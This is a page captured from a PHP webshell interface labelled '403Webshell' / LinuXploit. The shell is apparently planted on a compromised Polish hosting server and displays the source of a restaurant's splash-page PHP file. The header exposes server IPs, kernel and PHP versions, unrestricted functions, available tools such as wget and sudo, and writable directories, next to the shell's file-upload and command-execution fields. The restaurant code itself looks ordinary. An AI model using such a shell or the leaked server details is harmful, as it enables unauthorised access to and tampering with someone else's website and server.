403Webshell
Server IP : 188.114.96.3  /  Your IP : 216.73.216.143
Web Server : Apache
System : Linux sv058.home.net.pl 6.8.2 husak_dirty_pages_fix #1 SMP PREEMPT_DYNAMIC Tue Apr 2 22:06:51 CEST 2024 x86_64
User :  ( 3194769)
PHP Version : 8.5.12
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : OFF
Directory :  /polana/includes/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /polana/includes/global_splash.php
<?php
declare(strict_types=1);

function render_global_splash_page(): never
{
    polana_start_public_link_buffer();
    $siteName = setting('site_name', APP_NAME);
    $en = polana_lang() === 'en';

    $badge = trim(setting('site_splash_badge', ''));
    if ($badge === '' || $badge === 'Do zobaczenia wkrótce') {
        $badge = 'Moja Polana Smaków';
    }

    $title = trim(setting('site_splash_title', ''));
    if ($title === '' || $title === 'Wracamy wkrótce') {
        $title = 'Do zobaczenia wkrótce';
    }

    $text = trim(setting('site_splash_text', ''));
    if (
        $text === '' ||
        $text === 'Strona jest chwilowo niedostępna albo restauracja ma przerwę. Zapraszamy ponownie już wkrótce.'
    ) {
        $text = 'Na Polanie trwa krótka przerwa. Gotujemy, układamy kolejne smaki i już niedługo znów zaprosimy Was do stołu.';
    }

    $note = trim(setting('site_splash_note', ''));
    if (
        $note === '' ||
        $note === 'W sprawie rezerwacji lub aktualnych informacji skontaktuj się z nami bezpośrednio.'
    ) {
        $note = 'Zajrzyj ponownie za chwilę — nowa karta i aktualne informacje pojawią się tutaj.';
    }

    if ($en) {
        $title = polana_site_translation_published('setting','site_splash_title') ?: 'See you soon';
        $text = polana_site_translation_published('setting','site_splash_text') ?: 'We are taking a short break at Polana, preparing new seasonal flavours and looking forward to welcoming you back to our table.';
        $note = polana_site_translation_published('setting','site_splash_note') ?: 'Visit again soon for our updated menu and the latest news.';
        $badge = polana_site_translation_published('setting','site_splash_badge') ?: $badge;
    }

    $phone = trim(setting('phone', ''));
    $email = trim(setting('email', ''));
    $instagram = trim(setting('instagram_url', 'https://www.instagram.com/andrzejpolan/'));

    $robots = setting('site_splash_robots', 'noindex,follow');
    $ogImage = trim(setting('default_og_image', ''));
    if ($ogImage === '') {
        $ogImage = asset('img/logo-splash.png');
    }

    $canonical = site_url(polana_local_path('/'));
    $description = $text;
    $lottieWebPath = '/assets/anim/Food.lottie';
    $lottieDiskPath = dirname(__DIR__) . '/assets/anim/Food.lottie';
    $hasLottie = is_file($lottieDiskPath);
    ?>
<!doctype html>
<html lang="<?= $en ? 'en' : 'pl' ?>">
<head>
    <meta charset="utf-8">
    <meta name="viewport" content="width=device-width, initial-scale=1, viewport-fit=cover">
    <title><?= e($title) ?> | <?= e($siteName) ?></title>
    <meta name="description" content="<?= e($description) ?>">
    <meta name="robots" content="<?= e($robots) ?>">
    <link rel="canonical" href="<?= e($canonical) ?>">
    <link rel="alternate" hreflang="pl" href="<?= e(site_url('/')) ?>">
    <link rel="alternate" hreflang="en" href="<?= e(site_url('/en/')) ?>">
    <link rel="icon" type="image/png" href="<?= e(asset('img/favicon.png')) ?>">
    <meta name="theme-color" content="#f4f1e8">

    <meta property="og:locale" content="<?= $en ? 'en_GB' : 'pl_PL' ?>">
    <meta property="og:type" content="website">
    <meta property="og:title" content="<?= e($title . ' | ' . $siteName) ?>">
    <meta property="og:description" content="<?= e($description) ?>">
    <meta property="og:url" content="<?= e($canonical) ?>">
    <meta property="og:image" content="<?= e($ogImage) ?>">
    <meta property="og:site_name" content="<?= e($siteName) ?>">

    <?php if ($hasLottie): ?>
        <script type="module" src="https://unpkg.com/@dotlottie/[email protected]/dist/dotlottie-player.mjs"></script>
    <?php endif; ?>

    <style>
        :root{
            --green:#9acd32;
            --green-dark:#698f13;
            --red:#d62828;
            --ink:#0b0b0b;
            --muted:#686962;
            --paper:#f5f2e9;
            --paper-2:#ece8de;
            --white:#fff;
        }
        *{box-sizing:border-box}
        html,body{width:100%;min-height:100%;margin:0}
        body{
            min-height:100svh;
            color:var(--ink);
            background:
                radial-gradient(circle at 14% 84%,rgba(154,205,50,.13),transparent 30rem),
                radial-gradient(circle at 90% 18%,rgba(214,40,40,.055),transparent 24rem),
                linear-gradient(135deg,var(--paper),var(--paper-2));
            font-family:Arial,Helvetica,sans-serif;
            -webkit-font-smoothing:antialiased;
        }
        a{color:inherit}
        .splash-lang{position:fixed;z-index:20;right:22px;top:16px;display:flex;gap:6px}
        .splash-lang a{border:1px solid #c7c8bd;background:#fff;padding:8px 11px;border-radius:20px;text-decoration:none;color:#111;font-size:13px;font-weight:800}
        .splash-lang a.selected{border:2px solid #8bbf24;background:#f1fadf}
        .splash{
            min-height:100svh;
            width:100%;
            display:grid;
            place-items:center;
            overflow:hidden;
            padding:max(24px,env(safe-area-inset-top)) clamp(18px,4vw,68px) max(24px,env(safe-area-inset-bottom));
            position:relative;
        }
        .splash::before,
        .splash::after{
            content:"";
            position:absolute;
            border-radius:50%;
            pointer-events:none;
        }
        .splash::before{
            width:560px;height:560px;right:-210px;top:-240px;
            border:1px solid rgba(0,0,0,.05);
            box-shadow:0 0 0 58px rgba(255,255,255,.1),0 0 0 118px rgba(154,205,50,.03);
        }
        .splash::after{
            width:420px;height:420px;left:-220px;bottom:-210px;
            background:rgba(255,255,255,.18);border:1px solid rgba(0,0,0,.04);
        }
        .shell{
            position:relative;z-index:2;width:min(1240px,100%);
            min-height:min(760px,calc(100svh - 80px));
            display:grid;grid-template-columns:minmax(0,1fr) minmax(360px,.95fr);
            align-items:center;gap:clamp(46px,7vw,120px);
        }
        .content{max-width:660px}
        .eyebrow{
            display:flex;align-items:center;gap:12px;margin:0 0 20px;
            color:var(--green-dark);font-size:12px;font-weight:900;letter-spacing:.18em;text-transform:uppercase;
        }
        .eyebrow::before{content:"";width:42px;height:3px;border-radius:999px;background:var(--green)}
        h1{
            max-width:760px;margin:0;font-size:clamp(58px,7.2vw,112px);line-height:.89;letter-spacing:-.07em;text-wrap:balance;
        }
        .lead{
            max-width:650px;margin:30px 0 0;color:#34352f;font-size:clamp(19px,1.65vw,24px);line-height:1.55;
        }
        .note{max-width:600px;margin:13px 0 0;color:var(--muted);font-size:14px;line-height:1.6}
        .actions{display:flex;align-items:center;flex-wrap:wrap;gap:11px;margin-top:28px}
        .btn{
            min-height:50px;display:inline-flex;align-items:center;justify-content:center;gap:9px;padding:0 21px;
            border:1.5px solid var(--ink);border-radius:999px;background:transparent;color:var(--ink);text-decoration:none;
            font-size:13px;font-weight:900;transition:.18s ease;
        }
        .btn svg{width:17px;height:17px;flex:0 0 auto}
        .btn-primary{background:var(--ink);color:#fff}
        .btn:hover{transform:translateY(-2px)}
        .btn-primary:hover{border-color:var(--green);background:var(--green);color:var(--ink)}
        .btn-light:hover{background:#fff}

        .visual-wrap{
            position:relative;min-height:540px;display:grid;place-items:center;
        }
        .visual-card{
            position:relative;width:min(520px,100%);min-height:540px;padding:26px;border-radius:34px;
            background:rgba(255,255,255,.43);border:1px solid rgba(0,0,0,.06);
            box-shadow:0 30px 90px rgba(0,0,0,.08);backdrop-filter:blur(8px);
            display:grid;place-items:center;overflow:hidden;
        }
        .visual-card::before{
            content:"";position:absolute;inset:16px;border-radius:26px;
            border:1px dashed rgba(105,143,19,.18);pointer-events:none;
        }
        .logo-chip{
            position:absolute;top:18px;left:18px;display:inline-flex;align-items:center;justify-content:center;
            width:96px;height:96px;border-radius:22px;background:rgba(255,255,255,.86);
            border:1px solid rgba(0,0,0,.06);box-shadow:0 12px 28px rgba(0,0,0,.08);padding:10px;
        }
        .logo-chip img{max-width:100%;max-height:100%;object-fit:contain}
        .visual-caption{
            position:absolute;left:50%;bottom:18px;transform:translateX(-50%);width:max-content;max-width:90%;
            padding:10px 15px;border-radius:999px;background:rgba(255,255,255,.82);border:1px solid rgba(0,0,0,.06);
            color:#666;font-size:11px;font-weight:800;letter-spacing:.08em;text-transform:uppercase;backdrop-filter:blur(5px);
        }
        .visual-player,
        .visual-fallback{
            width:min(420px,82vw);height:min(420px,82vw);display:grid;place-items:center;
        }
        .visual-player dotlottie-player{width:100%;height:100%}
        .visual-fallback img{max-width:72%;max-height:72%;object-fit:contain;filter:drop-shadow(0 12px 20px rgba(0,0,0,.08))}

        .footer{
            position:absolute;z-index:3;left:clamp(18px,4vw,68px);right:clamp(18px,4vw,68px);bottom:max(16px,env(safe-area-inset-bottom));
            display:flex;align-items:center;justify-content:space-between;gap:20px;color:#84847d;font-size:11px;
        }
        .footer a{text-decoration:none;border-bottom:1px solid rgba(0,0,0,.16)}

        @media (max-width:980px){
            .splash{padding-top:34px;padding-bottom:34px}
            .shell{min-height:auto;grid-template-columns:1fr;gap:32px;text-align:center}
            .content{margin:0 auto}
            .eyebrow{justify-content:center}
            h1,.lead,.note{margin-left:auto;margin-right:auto}
            .actions{justify-content:center}
            .visual-wrap{order:-1;min-height:auto}
            .visual-card{width:min(560px,100%);min-height:420px}
            .visual-player,.visual-fallback{width:min(320px,68vw);height:min(320px,68vw)}
            .logo-chip{width:86px;height:86px;left:14px;top:14px}
            .footer{position:static;margin-top:26px;justify-content:center;flex-wrap:wrap}
        }
        @media (max-width:520px){
            .splash{padding-left:16px;padding-right:16px}
            .shell{gap:22px}
            h1{font-size:clamp(46px,14vw,66px)}
            .lead{margin-top:20px;font-size:18px}
            .note{font-size:13px}
            .actions{display:grid;grid-template-columns:1fr}
            .btn{width:100%}
            .visual-card{min-height:330px;padding:18px 14px}
            .visual-player,.visual-fallback{width:min(250px,74vw);height:min(250px,74vw)}
            .logo-chip{width:74px;height:74px;border-radius:18px}
            .visual-caption{display:none}
            .footer{font-size:10px;text-align:center}
        }
        @media (prefers-reduced-motion:reduce){*{animation:none!important;transition:none!important}}
    </style>

<!-- TKLM-TRACKING-AUTO -->
<script defer src="/assets/tklm-tracking.js?v=2"></script>
<!-- /TKLM-TRACKING-AUTO -->
</head>
<body>
<nav class="splash-lang" aria-label="Language / Język">
    <a class="<?= !$en ? 'selected' : '' ?>" href="<?= e(polana_switch_url('pl')) ?>" hreflang="pl">🇵🇱 PL</a>
    <a class="<?= $en ? 'selected' : '' ?>" href="<?= e(polana_switch_url('en')) ?>" hreflang="en">🇬🇧 EN</a>
</nav>
<main class="splash">
    <div class="shell">
        <section class="content">
            <div class="eyebrow"><?= e($badge) ?></div>
            <h1><?= e($title) ?></h1>
            <p class="lead"><?= nl2br(e($text)) ?></p>
            <p class="note"><?= nl2br(e($note)) ?></p>
            <div class="actions">
                <?php if ($phone !== ''): ?>
                    <a class="btn btn-primary" href="tel:<?= e(preg_replace('/\s+/', '', $phone)) ?>"><?= $en ? 'Call us' : 'Zadzwoń' ?></a>
                <?php elseif ($email !== ''): ?>
                    <a class="btn btn-primary" href="mailto:<?= e($email) ?>"><?= $en ? 'Email us' : 'Napisz do nas' ?></a>
                <?php endif; ?>

                <?php if ($instagram !== ''): ?>
                    <a class="btn <?= ($phone === '' && $email === '') ? 'btn-primary' : 'btn-light' ?>" href="<?= e($instagram) ?>" target="_blank" rel="noopener">
                        <svg viewBox="0 0 24 24" aria-hidden="true">
                            <rect x="3.2" y="3.2" width="17.6" height="17.6" rx="5" fill="none" stroke="currentColor" stroke-width="2"/>
                            <circle cx="12" cy="12" r="4" fill="none" stroke="currentColor" stroke-width="2"/>
                            <circle cx="17.4" cy="6.6" r="1.15" fill="currentColor"/>
                        </svg>
                        Instagram
                    </a>
                <?php endif; ?>

                <a class="btn btn-light" href="<?= e($canonical) ?>"><?= $en ? 'Refresh' : 'Odśwież' ?></a>
            </div>
        </section>

        <aside class="visual-wrap" aria-label="<?= e($siteName) ?>">
            <div class="visual-card">
                <div class="logo-chip">
                    <img src="<?= e(asset('img/logo-splash.png')) ?>" alt="<?= e($siteName) ?>">
                </div>

                <?php if ($hasLottie): ?>
                    <div class="visual-player">
                        <dotlottie-player
                            src="<?= e($lottieWebPath) ?>"
                            background="transparent"
                            speed="1"
                            style="width:100%;height:100%"
                            loop
                            autoplay
                        ></dotlottie-player>
                    </div>
                <?php else: ?>
                    <div class="visual-fallback">
                        <img src="<?= e(asset('img/logo-splash.png')) ?>" alt="<?= e($siteName) ?>">
                    </div>
                <?php endif; ?>

                <div class="visual-caption">Andrzej Polan · Kraków</div>
            </div>
        </aside>
    </div>

    <footer class="footer">
        <span>© <?= date('Y') ?> <?= e($siteName) ?></span>
        <?php if ($instagram !== ''): ?>
            <a href="<?= e($instagram) ?>" target="_blank" rel="noopener">Instagram Andrzeja Polana</a>
        <?php endif; ?>
    </footer>
</main>
</body>
</html>
<?php
    exit;
}

Youez - 2016 - github.com/yon3zu
LinuXploit